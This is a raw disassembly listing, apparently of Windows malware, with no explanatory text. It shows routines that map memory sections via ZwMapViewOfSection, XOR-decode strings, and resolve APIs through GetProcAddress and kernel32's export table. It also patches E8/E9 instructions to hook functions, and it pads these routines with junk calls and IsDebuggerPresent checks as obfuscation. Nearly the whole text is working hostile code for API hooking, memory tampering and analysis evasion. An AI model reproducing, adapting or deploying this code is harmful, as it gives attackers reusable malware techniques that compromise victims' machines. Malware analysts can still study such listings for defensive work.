var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		and	[ebp+var_8], 0
		mov	[ebp+var_A], 3ABh
		add	[ebp+var_A], 6ED8h
		xor	edx, edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_B], 23h
		add	[ebp+var_B], 1
		push	4
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_4]
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	dword_41E8C8	; ZwMapViewOfSection
		call	GetLastError
		mov	eax, [ebp+var_8]
		leave
		retn
sub_402445	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024A8	proc near		; CODE XREF: sub_402A48+31Ap

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ax, word_43CFF0
		mov	[ebp+var_2], ax
		push	[ebp+arg_0]
		push	0FFFFFFFFh
		call	dword_41D8A0	; ZwUnmapViewOfSection
		leave
		retn
sub_4024A8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43CFFC
		lea	eax, ds:412DE0h[eax]
		push	eax
		call	memcpy	; memcpy
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_402501
; ---------------------------------------------------------------------------


loc_4024EA:				; CODE XREF: .text:00402503j
		mov	eax, dword_43CFFC
		add	eax, edi
		lea	eax, ds:412DE0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 75h
		mov	[eax], dl
		inc	edi


loc_402501:				; CODE XREF: .text:004024E8j
		cmp	edi, esi
		jl	short loc_4024EA
		mov	dword ptr [ebp-4], 2E3h
		mov	eax, dword_43CFFC
		add	eax, esi
		mov	byte ptr dword_412DE0[eax], 0
		xor	edi, edi
		mov	edi, dword_43CFFC
		inc	dword_43CFFC
		mov	eax, dword_43CFFC
		add	eax, 5
		add	eax, esi
		mov	dword_43CFFC, eax
		add	dword_43CFFC, 2
		cmp	dword_43CFFC, 0DF6h
		jle	short loc_402552
		and	dword_43CFFC, 0


loc_402552:				; CODE XREF: .text:00402549j
		mov	dword ptr [ebp-8], 1Ch
		lea	eax, dword_412DE0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402563	proc near		; CODE XREF: sub_402843+1F8p

var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_7]
		lea	esi, dword_43D0FC
		mov	ecx, 7
		rep movsb
		xor	ebx, ebx


loc_40257E:				; CODE XREF: sub_402563+2D5j
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, [ebp+arg_0]
		movzx	edx, byte ptr [eax+ebx]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	edx, byte ptr [ebx+eax+1]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	edx, byte ptr [ebx+eax+2]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	edx, byte ptr [ebx+eax+3]
		cmp	edx, 0FFh
		jnz	short loc_4025C9
		movzx	eax, byte ptr [ebx+eax+4]
		cmp	eax, 0FFh
		jz	loc_40283E


loc_4025C9:				; CODE XREF: sub_402563+2Dj
					; sub_402563+3Aj ...
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		mov	edx, [ebp+arg_0]
		mov	dl, [edx+ebx]
		mov	[eax+ebx], dl
		mov	[ebp+var_8], 0


loc_4025E0:				; CODE XREF: sub_402563+16Cj
		mov	eax, [ebp+arg_0]
		movzx	edx, [ebp+var_8]
		imul	edx, 0Ch
		movzx	edx, byte_43D090[edx]
		movzx	ecx, byte ptr [eax+ebx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	ecx, ebx
		dec	ecx
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	ecx, ebx
		sub	ecx, 2
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	ecx, ebx
		sub	ecx, 3
		movzx	ecx, byte ptr [eax+ecx]
		cmp	ecx, edx
		jnz	loc_4026BA
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jnz	short loc_4026BA
		call	GetTickCount	; GetTickCount
		movzx	eax, [ebp+var_8]
		imul	eax, 0Ch
		push	lpModuleName[eax] ; lpModuleName
		call	GetModuleHandleA	; GetModuleHandleA
		movzx	edi, [ebp+var_8]
		imul	edi, 0Ch
		push	lpProcName[edi]	; lpProcName
		push	eax		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	[ebp+var_C], eax
		call	IsDebuggerPresent	; IsDebuggerPresent
		or	eax, 0FFFFFFFFh
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		lea	edx, [edx+ecx+5]
		add	edx, ebx
		sub	edx, 4
		sub	eax, edx
		add	eax, [ebp+var_C]
		sub	eax, 4
		mov	[ebp+var_10], eax
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp+var_10]
		mov	ds:1[eax], edx
		mov	ax, word_43D103
		mov	[ebp+var_12], ax
		jmp	short loc_4026D4
; ---------------------------------------------------------------------------


loc_4026BA:				; CODE XREF: sub_402563+95j
					; sub_402563+A4j ...
		movzx	eax, [ebp+var_8]
		imul	eax, 0Ch
		cmp	lpProcName[eax], 0
		jz	short loc_4026D4
		add	[ebp+var_8], 1
		jmp	loc_4025E0
; ---------------------------------------------------------------------------


loc_4026D4:				; CODE XREF: sub_402563+155j
					; sub_402563+166j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 4
		jnz	short loc_402744
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402744
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402744
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 4
		jnz	short loc_402744
		mov	edx, ebx
		sub	edx, 4
		movzx	edx, byte ptr [eax+edx]
		cmp	dl, 68h
		jz	short loc_40271D
		cmp	edx, 0BEh
		jz	short loc_40271D
		mov	edx, ebx
		sub	edx, 5
		cmp	byte ptr [eax+edx], 24h
		jnz	short loc_402744


loc_40271D:				; CODE XREF: sub_402563+1A5j
					; sub_402563+1ADj
		lea	edi, [ebp+var_10+1]
		lea	esi, byte_43D105
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_8]
		lea	edx, [eax+ebx+5]
		sub	edx, 4
		add	eax, 7
		mov	ds:1[edx], eax


loc_402744:				; CODE XREF: sub_402563+178j
					; sub_402563+181j ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 2
		jnz	short loc_4027C9
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	eax, 0E8h
		jz	short loc_402783
		cmp	eax, 0E9h
		jnz	short loc_4027C9


loc_402783:				; CODE XREF: sub_402563+217j
		call	GetProcessHeap	; GetProcessHeap
		mov	eax, [ebp+arg_4]
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+arg_8]
		lea	ecx, [eax+ecx+5]
		add	ecx, ebx
		sub	ecx, 4
		sub	edx, ecx
		add	edx, eax
		mov	eax, edx
		sub	eax, 4
		mov	[ebp+var_C], eax
		call	GetTickCount	; GetTickCount
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		lea	eax, [eax+edx+5]
		add	eax, ebx
		sub	eax, 4
		mov	edx, [ebp+var_C]
		mov	ds:1[eax], edx
		call	GetCurrentProcessId	; GetCurrentProcessId


loc_4027C9:				; CODE XREF: sub_402563+1E8j
					; sub_402563+1F1j ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 1
		jnz	short loc_402831
		mov	edx, ebx
		dec	edx
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402831
		mov	edx, ebx
		sub	edx, 2
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402831
		mov	edx, ebx
		sub	edx, 3
		cmp	byte ptr [eax+edx], 1
		jnz	short loc_402831
		mov	edx, ebx
		sub	edx, 4
		movzx	eax, byte ptr [eax+edx]
		cmp	al, 3Dh
		jz	short loc_40280C
		cmp	eax, 0FEh
		jz	short loc_40280C
		cmp	eax, 0FFh
		jnz	short loc_402831


loc_40280C:				; CODE XREF: sub_402563+299j
					; sub_402563+2A0j
		call	GetProcessHeap	; GetProcessHeap
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		lea	edi, [edi+esi+5]
		add	edi, ebx
		sub	edi, 4
		mov	ds:1[edi], eax
		call	GetCurrentThreadId	; GetCurrentThreadId


loc_402831:				; CODE XREF: sub_402563+26Dj
					; sub_402563+276j ...
		inc	ebx
		cmp	ebx, 400h
		jb	loc_40257E


loc_40283E:				; CODE XREF: sub_402563+60j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402563	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402843	proc near		; CODE XREF: sub_402A48+7FFp

var_27		= byte ptr -27h
var_26		= byte ptr -26h
var_22		= byte ptr -22h
var_1F		= byte ptr -1Fh
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_11], 0A2h
		sub	[ebp+var_11], 8
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_4028A8
; ---------------------------------------------------------------------------


loc_402861:				; CODE XREF: sub_402843+70j
		call	GetTickCount	; GetTickCount
		xor	ebx, ebx
		jmp	short loc_402874
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_402843+37j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+ebx], 0
		jnz	short loc_40287C
		inc	ebx


loc_402874:				; CODE XREF: sub_402843+25j
		cmp	ebx, 3E8h
		jbe	short loc_40286A


loc_40287C:				; CODE XREF: sub_402843+2Ej
		lea	edi, [ebp+var_26]
		lea	esi, dword_43D10C
		mov	ecx, 7
		rep movsb
		cmp	ebx, 3E8h
		jnb	short loc_4028BA
		mov	[ebp+var_1F], 0B8h
		movzx	eax, [ebp+var_1F]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1F], al
		inc	[ebp+var_4]


loc_4028A8:				; CODE XREF: sub_402843+1Cj
		mov	eax, [ebp+arg_4]
		sub	eax, 3E8h
		cmp	[ebp+var_4], eax
		jbe	short loc_402861
		jmp	loc_402A43
; ---------------------------------------------------------------------------


loc_4028BA:				; CODE XREF: sub_402843+4Fj
		add	[ebp+var_4], 0Ah
		movzx	edi, [ebp+arg_8]
		shl	edi, 2
		mov	ebx, lp[edi]
		and	[ebp+var_8], 0


loc_4028D0:				; CODE XREF: sub_402843+162j
		mov	eax, ebx
		add	eax, [ebp+var_8]
		push	eax
		call	sub_401D31
		pop	ecx
		call	GetProcessHeap	; GetProcessHeap
		mov	eax, [ebp+var_8]
		movzx	eax, byte ptr [ebx+eax]
		cmp	eax, 0E8h
		jz	short loc_40291F
		cmp	eax, 0E9h
		jz	short loc_40291F
		call	GetProcessHeap	; GetProcessHeap
		and	[ebp+var_C], 0
		jmp	short loc_402913
; ---------------------------------------------------------------------------


loc_402901:				; CODE XREF: sub_402843+D8j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	cl, [ebx+eax]
		mov	[edx+eax], cl
		inc	[ebp+var_C]


loc_402913:				; CODE XREF: sub_402843+BCj
		mov	eax, dword_40E07C
		cmp	[ebp+var_C], eax
		jb	short loc_402901
		jmp	short loc_402999
; ---------------------------------------------------------------------------


loc_40291F:				; CODE XREF: sub_402843+AAj
					; sub_402843+B1j
		lea	edi, [ebp+var_22]
		lea	esi, byte_43D113
		mov	ecx, 3
		rep movsb
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	cl, [ebx+eax]
		mov	[edx+eax], cl
		call	IsDebuggerPresent	; IsDebuggerPresent
		mov	eax, [ebp+var_8]
		lea	eax, [ebx+eax+1]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	[ebp+var_1F], 65h
		movzx	eax, [ebp+var_1F]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1F], al
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		sub	edx, ecx
		mov	ecx, ebx
		add	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	[ebp+var_1C], eax
		lea	edi, [ebp+var_27]
		lea	esi, word_43D116
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [eax+edx+1]
		mov	edx, [ebp+var_1C]
		mov	[eax], edx
		call	GetCurrentThreadId	; GetCurrentThreadId


loc_402999:				; CODE XREF: sub_402843+DAj
		mov	eax, dword_40E07C
		add	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jb	loc_4028D0
		mov	[ebp+var_18], 60F2h
		sub	[ebp+var_18], 502Ah
		mov	eax, [ebp+var_8]
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		sub	edx, ecx
		mov	ecx, ebx
		add	ecx, eax
		mov	eax, edx
		add	eax, ecx
		sub	eax, 4
		mov	[ebp+var_10], eax
		mov	ax, word_43D11B
		mov	[ebp+var_1E], ax
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	byte ptr [edx+eax], 0E9h
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_8]
		lea	eax, [eax+edx+1]
		mov	edx, [ebp+var_10]
		mov	[eax], edx
		call	GetCurrentProcessId	; GetCurrentProcessId
		or	eax, 0FFFFFFFFh
		sub	eax, ebx
		mov	edx, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		lea	edx, [edx+ecx+5]
		add	eax, edx
		sub	eax, 4
		mov	[ebp+var_10], eax
		mov	byte ptr [ebx],	0E9h
		mov	ds:1[ebx], eax
		call	GetTickCount	; GetTickCount
		push	[ebp+var_8]
		push	[ebp+var_4]
		movzx	edi, [ebp+arg_8]
		shl	edi, 4
		push	off_43CE84[edi]
		call	sub_402563
		add	esp, 0Ch


loc_402A43:				; CODE XREF: sub_402843+72j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A48	proc near		; CODE XREF: sub_40AA24+5B8p

var_258A	= word ptr -258Ah
var_2588	= dword	ptr -2588h
var_2583	= byte ptr -2583h
var_2580	= dword	ptr -2580h
var_21B8	= dword	ptr -21B8h
var_21B4	= dword	ptr -21B4h
var_21B0	= dword	ptr -21B0h
var_21AC	= dword	ptr -21ACh
var_21A8	= dword	ptr -21A8h
var_21A4	= dword	ptr -21A4h
var_21A0	= dword	ptr -21A0h
Buffer		= _MEMORYSTATUS	ptr -219Bh
var_207B	= byte ptr -207Bh
var_2074	= dword	ptr -2074h
var_206F	= byte ptr -206Fh
var_2067	= byte ptr -2067h
var_2064	= dword	ptr -2064h
var_2060	= dword	ptr -2060h
var_205C	= dword	ptr -205Ch
var_2058	= dword	ptr -2058h
var_2051	= byte ptr -2051h
var_2050	= dword	ptr -2050h
var_204C	= dword	ptr -204Ch
var_2044	= dword	ptr -2044h
var_2034	= dword	ptr -2034h
hObject		= dword	ptr -2030h
lpAddress	= dword	ptr -202Ch
var_2025	= byte ptr -2025h
var_2024	= dword	ptr -2024h
var_2020	= dword	ptr -2020h
var_101C	= dword	ptr -101Ch
var_1015	= byte ptr -1015h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_C		= dword	ptr -0Ch
lp		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 258Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	GetTickCount	; GetTickCount
		call	sub_402226
		call	GetLastError
		mov	[ebp+var_2025],	0
		call	GetVersion	; GetVersion
		cmp	eax, 80000000h
		jnb	short loc_402A81
		mov	[ebp+var_2025],	1


loc_402A81:				; CODE XREF: sub_402A48+30j
		lea	edi, [ebp+var_2067]
		lea	esi, byte_43D11D
		mov	ecx, 3
		rep movsb
		mov	[ebp+var_1015],	0


loc_402A9B:				; CODE XREF: sub_402A48+F5j
		cmp	[ebp+var_2025],	0
		jnz	short loc_402AB8
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43CE88[edi], 1
		jz	short loc_402AD5


loc_402AB8:				; CODE XREF: sub_402A48+5Aj
		cmp	[ebp+var_2025],	0
		jz	short loc_402AD7
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	byte_43CE88[edi], 2
		jnz	short loc_402AD7


loc_402AD5:				; CODE XREF: sub_402A48+6Ej
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402AD7:				; CODE XREF: sub_402A48+77j
					; sub_402A48+8Bj
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	lpLibFileName[esi] ; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	hModule[edi*4],	eax
		movzx	edi, [ebp+var_1015]
		mov	esi, edi
		shl	esi, 4
		push	off_43CE7C[esi]	; lpProcName
		shl	edi, 2
		push	hModule[edi]	; hModule
		call	GetProcAddress	; GetProcAddress
		mov	lp[edi], eax
		call	GetTickCount	; GetTickCount


loc_402B24:				; CODE XREF: sub_402A48:loc_402AD5j
		add	[ebp+var_1015],	1
		movzx	edi, [ebp+var_1015]
		shl	edi, 4
		cmp	off_43CE7C[edi], 0
		jnz	loc_402A9B
		lea	edi, [ebp+var_206F]
		lea	esi, dword_43D120
		movsd
		movsd
		mov	[ebp+var_1015],	0


loc_402B58:				; CODE XREF: sub_402A48+88Aj
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		cmp	lp[edi], 0
		jz	loc_4032B9
		call	IsDebuggerPresent	; IsDebuggerPresent
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, hModule[edi]
		mov	[ebp+var_2034],	edi
		cmp	[ebp+var_2025],	0
		jz	loc_402E2B
		mov	[ebp+var_21A0],	51E2h
		mov	eax, 0D23h
		mul	[ebp+var_21A0]
		mov	[ebp+var_21A4],	eax
		mov	[ebp+var_21A0],	eax
		call	sub_4022BB
		mov	[ebp+hObject], eax
		shr	edi, 16h
		shl	edi, 16h
		mov	[ebp+lp], edi
		call	GetCurrentThreadId	; GetCurrentThreadId
		mov	eax, edi
		add	eax, 400000h
		mov	[ebp+var_1014],	eax
		xor	ebx, ebx
		jmp	short loc_402C3A
; ---------------------------------------------------------------------------


loc_402BE4:				; CODE XREF: sub_402A48+1FBj
		mov	[ebp+var_21A8],	0EAEh
		mov	eax, 1AEBh
		mul	[ebp+var_21A8]
		mov	[ebp+var_21AC],	eax
		mov	[ebp+var_21A8],	eax
		mov	eax, dword_43CFF8
		add	eax, 0FEFh
		push	eax		; ucb
		push	[ebp+lp]	; lp
		call	IsBadReadPtr	; IsBadReadPtr
		mov	[ebp+var_4], eax
		call	GetTickCount	; GetTickCount
		xor	[ebp+var_4], 1
		shl	[ebp+var_4], 2
		mov	edi, [ebp+var_4]
		mov	[ebp+ebx*4+var_1010], edi
		inc	ebx
		add	[ebp+lp], 1000h


loc_402C3A:				; CODE XREF: sub_402A48+19Aj
		mov	eax, [ebp+var_1014]
		cmp	[ebp+lp], eax
		jbe	short loc_402BE4
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		call	GlobalMemoryStatus	; GlobalMemoryStatus
		call	GetCurrentThreadId	; GetCurrentThreadId
		and	[ebp+var_101C],	0
		jmp	loc_402D77
; ---------------------------------------------------------------------------


loc_402C62:				; CODE XREF: sub_402A48+340j
		call	GetVersion	; GetVersion
		push	0FFFFh
		push	[ebp+var_101C]
		push	[ebp+hObject]
		call	sub_402445
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		mov	byte ptr [ebp+var_21AC+3], 12h
		movzx	eax, byte ptr [ebp+var_21AC+3]
		imul	eax, 0C31h
		mov	byte ptr [ebp+var_21AC+3], al
		cmp	[ebp+var_C], 0
		jnz	short loc_402CAD
		call	GetCurrentThreadId	; GetCurrentThreadId
		jmp	loc_402D6D
; ---------------------------------------------------------------------------


loc_402CAD:				; CODE XREF: sub_402A48+259j
		and	[ebp+var_21A8],	0


loc_402CB4:				; CODE XREF: sub_402A48+86Cj
		mov	eax, [ebp+var_21A8]
		mov	[ebp+lp], eax
		jmp	loc_402D52
; ---------------------------------------------------------------------------


loc_402CC2:				; CODE XREF: sub_402A48+311j
		mov	[ebp+var_21B0],	690h
		add	[ebp+var_21B0],	2151h
		xor	ebx, ebx


loc_402CD8:				; CODE XREF: sub_402A48+2DFj
		call	GetTickCount	; GetTickCount
		mov	edi, [ebp+lp]
		shr	edi, 2
		shl	edi, 2
		add	edi, [ebp+var_C]
		mov	edi, [edi+ebx*4]
		mov	[ebp+var_4], edi
		and	[ebp+var_4], 4
		mov	edi, [ebp+ebx*4+var_1010]
		cmp	[ebp+var_4], edi
		jnz	short loc_402D29
		mov	[ebp+var_21B4],	6D86h
		mov	eax, 4E3Ch
		mul	[ebp+var_21B4]
		mov	[ebp+var_21B8],	eax
		mov	[ebp+var_21B4],	eax
		inc	ebx
		cmp	ebx, 400h
		jb	short loc_402CD8


loc_402D29:				; CODE XREF: sub_402A48+2B5j
		cmp	ebx, 3FFh
		jb	short loc_402D4B
		call	GetProcessHeap	; GetProcessHeap
		mov	eax, [ebp+lp]
		add	eax, 1000h
		mov	[ebp+var_21A8],	eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		jmp	short loc_402D9E
; ---------------------------------------------------------------------------


loc_402D4B:				; CODE XREF: sub_402A48+2E7j
		add	[ebp+lp], 1000h


loc_402D52:				; CODE XREF: sub_402A48+275j
		cmp	[ebp+lp], 0F000h
		jbe	loc_402CC2
		push	[ebp+var_C]
		call	sub_4024A8
		pop	ecx
		call	GetCurrentThreadId	; GetCurrentThreadId


loc_402D6D:				; CODE XREF: sub_402A48+260j
		add	[ebp+var_101C],	10000h


loc_402D77:				; CODE XREF: sub_402A48+215j
		mov	eax, [ebp+Buffer.dwTotalPhys]
		sub	eax, 0FFFFh
		cmp	[ebp+var_101C],	eax
		jbe	loc_402C62
		push	[ebp+hObject]	; hObject
		call	CloseHandle	; CloseHandle
		jmp	loc_4032B9
; ---------------------------------------------------------------------------


loc_402D9E:				; CODE XREF: sub_402A48+301j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, lp[edi]
		mov	[ebp+var_1014],	edi
		and	[ebp+var_1014],	0


loc_402DBC:				; CODE XREF: sub_402A48+3E1j
		call	GetLastError
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+lp]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		mov	esi, [esi+edi]
		mov	[ebp+edi+var_2020], esi
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	edi, [ebp+var_1014]
		shl	edi, 2
		mov	esi, [ebp+lp]
		shr	esi, 2
		shl	esi, 2
		add	esi, [ebp+var_C]
		add	edi, esi
		or	byte ptr [edi],	2
		mov	byte ptr [ebp+var_21A8+3], 1Eh
		movzx	eax, byte ptr [ebp+var_21A8+3]
		imul	eax, 409Ah
		mov	byte ptr [ebp+var_21A8+3], al
		inc	[ebp+var_1014]
		cmp	[ebp+var_1014],	400h
		jb	short loc_402DBC


loc_402E2B:				; CODE XREF: sub_402A48+14Bj
		cmp	[ebp+var_2025],	0
		jnz	loc_402F0D
		call	GetVersion	; GetVersion
		push	offset aKernel32_dll ; "kernel32.dll"
		call	GetModuleHandleA	; GetModuleHandleA
		mov	[ebp+Buffer.dwTotalVirtual+3], eax
		lea	edi, [ebp+var_21A4+3]
		lea	esi, dword_43D128
		mov	ecx, 5
		rep movsb
		mov	eax, [ebp+Buffer.dwTotalVirtual+3]
		mov	edx, eax
		add	edx, ds:3Ch[eax]
		mov	[ebp+Buffer.dwTotalPhys+3], edx
		mov	word ptr [ebp+Buffer.dwTotalVirtual+1],	4195h
		movzx	eax, word ptr [ebp+Buffer.dwTotalVirtual+1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+Buffer.dwTotalVirtual+1],	ax
		mov	eax, [ebp+Buffer.dwTotalVirtual+3]
		mov	edx, [ebp+Buffer.dwTotalPhys+3]
		add	edx, 78h
		add	eax, [edx]
		mov	[ebp-2194h], eax
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, [ebp+Buffer.dwTotalVirtual+3]
		mov	edx, [ebp-2194h]
		add	edx, 1Ch
		add	eax, [edx]
		mov	[ebp+Buffer.dwLength+3], eax
		mov	eax, [ebp+Buffer.dwTotalVirtual+3]
		mov	edx, [ebp+Buffer.dwLength+3]
		add	eax, [edx]
		mov	[ebp-219Ch], eax
		mov	[ebp+Buffer.dwAvailPhys+3], 0F88h
		add	[ebp+Buffer.dwAvailPhys+3], 72CBh
		mov	[ebp+var_2074],	eax
		mov	[ebp+Buffer.dwTotalPageFile+3],	200Bh
		mov	eax, [ebp+Buffer.dwTotalPageFile+3]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+Buffer.dwTotalPageFile+3],	edx


loc_402F0D:				; CODE XREF: sub_402A48+3EAj
		push	1Ch
		lea	eax, [ebp+var_2050]
		push	eax
		call	RtlZeroMemory	; RtlZeroMemory
		mov	eax, [ebp+var_2034]
		mov	[ebp+lpAddress], eax
		call	GetVersion	; GetVersion


loc_402F2C:				; CODE XREF: sub_402A48+537j
					; sub_402A48+57Ej
		push	1Ch		; dwLength
		lea	eax, [ebp+var_2050]
		push	eax		; lpBuffer
		push	[ebp+lpAddress]	; lpAddress
		call	VirtualQuery	; VirtualQuery
		call	GetCurrentProcessId	; GetCurrentProcessId
		mov	eax, [ebp+var_2034]
		cmp	[ebp+var_204C],	eax
		jnz	short loc_402FCB
		lea	edi, [ebp+var_207B]
		lea	esi, byte_43D12D
		mov	ecx, 7
		rep movsb
		mov	eax, [ebp+var_2044]
		mov	[ebp+var_2060],	eax
		add	[ebp+lpAddress], eax
		cmp	[ebp+var_2025],	0
		jnz	short loc_402F2C
		mov	[ebp+Buffer.dwTotalVirtual+3], 691Fh
		mov	eax, [ebp+Buffer.dwTotalVirtual+3]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+Buffer.dwTotalVirtual+3], edx
		push	20060000h
		push	0
		mov	edi, [ebp+var_2060]
		shr	edi, 0Ch
		push	edi
		mov	edi, [ebp+var_2050]
		shr	edi, 0Ch
		push	edi
		push	1000Dh
		call	[ebp+var_2074]
		call	GetCurrentThreadId	; GetCurrentThreadId
		jmp	loc_402F2C
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_402A48+509j
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	esi, [ebp+lpAddress]
		sub	esi, [ebp+var_2034]
		mov	dword_4118A0[edi], esi
		movzx	edi, [ebp+var_1015]
		shl	edi, 2
		mov	edi, lp[edi]
		mov	[ebp+var_1014],	edi
		mov	eax, dword_43CFF4 ; DATA XREF: .text:loc_4403D2r
					; sub_4403F5+8Cw ...


loc_403004:				; DATA XREF: .text:0043F42Dr
					; .text:loc_43F469r ...
		add	eax, 1000h
		push	eax		; ucb
		push	edi		; lp
		call	IsBadWritePtr	; IsBadWritePtr


loc_403010:				; DATA XREF: .text:0043F529o
					; sub_4403F5+10o
		mov	[ebp+var_2064],	eax
